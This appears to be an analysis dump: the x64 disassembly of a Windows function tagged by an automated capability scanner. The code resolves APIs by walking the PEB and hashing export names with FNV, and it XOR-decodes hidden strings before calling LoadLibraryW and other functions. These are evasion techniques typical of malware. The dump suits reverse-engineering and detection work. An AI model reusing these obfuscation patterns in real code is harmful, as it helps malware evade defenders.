Function at 0x140019e9c
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov rax, qword [0x140039010]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rax, qword gs:[0x60]
xor r14d, r14d
or r13d, 0xffffffff
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140019f47
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140019f47
mov edi, dword [r10 + 0x20]
add r9d, r13d
mov r11d, 0x20ed7a9c
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x140019f42
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140019f23
cmp r11d, 0x49212642
je 0x140019f4c
test r9d, r9d
jne 0x140019f06
mov rax, qword [rax]
jmp 0x140019ee1
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
cmp word [0x14002dc02], r14w
movups xmm0, xmmword [str.__QZ_]
mov eax, dword [0x14002dc00]
mov dword [rbp + 7], eax
movups xmmword [rbp - 9], xmm0
je 0x140019fb9
mov r8d, r14d
lea r9, [rbp - 9]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xa
jl 0x140019f8c
lea rcx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
movups xmm0, xmmword [str.iCdCRJ_iBOI_R_t___6_3__K]
lea r9, [rbp + 0xf]
mov cl, byte [0x1400305b0]
movsd xmm1, qword [0x1400305a8]
mov rsi, rax
movups xmmword [rbp + 0xf], xmm0
mov r8d, r14d
mov byte [rbp + 0x27], cl
movsd qword [rbp + 0x1f], xmm1
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9], al
inc r9
cmp r8d, 0x19
jl 0x140019fee
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x14001a08c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14001a08c
mov edi, dword [r10 + 0x20]
add r9d, r13d
mov r11d, 0x90682b8d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x14001a087
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14001a068
cmp r11d, 0x85230e1d
je 0x14001a091
test r9d, r9d
jne 0x14001a04b
mov rax, qword [rax]
jmp 0x14001a026
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp + 0xf]
add rax, r8
mov rcx, rsi
call rax
xor r9d, r9d
lea rdx, [rbp + 0x2f]
lea r8d, [r9 + 2]
lea ecx, [r9 + 0x23]
call rax
test eax, eax
jne 0x14001a3be
cmp byte [rbp + 0x2f], r14b
je 0x14001a3be
cmp byte [rbp + 0x30], r14b
jne 0x14001a3be
movzx eax, word [0x1400313d0]
lea r9, [rbp - 0x29]
movups xmm0, xmmword [str.xQGXRT]
mov r8d, r14d
mov word [rbp - 0x11], ax
movsd xmm1, qword [0x1400313c8]
mov al, byte [0x1400313d2]
mov byte [rbp - 0xf], al
movups xmmword [rbp - 0x29], xmm0
movsd qword [rbp - 0x19], xmm1
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9], al
inc r9
cmp r8d, 0x1b
jl 0x14001a113
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x29]
call fcn.1400251f8
lea rdx, [0x1400259f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14001a1d1
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14001a1d1
mov edi, dword [r10 + 0x20]
add r8d, r13d
mov r11d, 0xf8e23edb
lea rcx, [rdi + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x14001a1cc
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14001a1ad
cmp r11d, 0x3934c6fe
je 0x14001a1d6
test r8d, r8d
jne 0x14001a190
mov rax, qword [rax]
jmp 0x14001a16b
mov edx, dword [r10 + 0x24]
mov ecx, 0xa
add rdx, r9
movzx r8d, word [rdx + r8*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x14001a26e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14001a26e
mov edi, dword [r10 + 0x20]
add r9d, r13d
mov r11d, 0x2b67ddcf
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x14001a269
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14001a24a
cmp r11d, 0x2691824f
je 0x14001a273
test r9d, r9d
jne 0x14001a22d
mov rax, qword [rax]
jmp 0x14001a208
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r8
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x14001a307
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14001a307
mov edi, dword [r9 + 0x20]
add r10d, r13d
mov r11d, 0xa09858a7
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x14001a302
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14001a2e3
cmp r11d, 0x37e2c59b
je 0x14001a30c
test r10d, r10d
jne 0x14001a2c6
mov rax, qword [rax]
jmp 0x14001a2a1
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x14001a39e
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14001a39e
mov edi, dword [r9 + 0x20]
add r10d, r13d
mov r11d, 0x433f7472
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x14001a399
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14001a37a
cmp r11d, 0x2a283ce6
je 0x14001a3a3
test r10d, r10d
jne 0x14001a35d
mov rax, qword [rax]
jmp 0x14001a338
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140029500
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret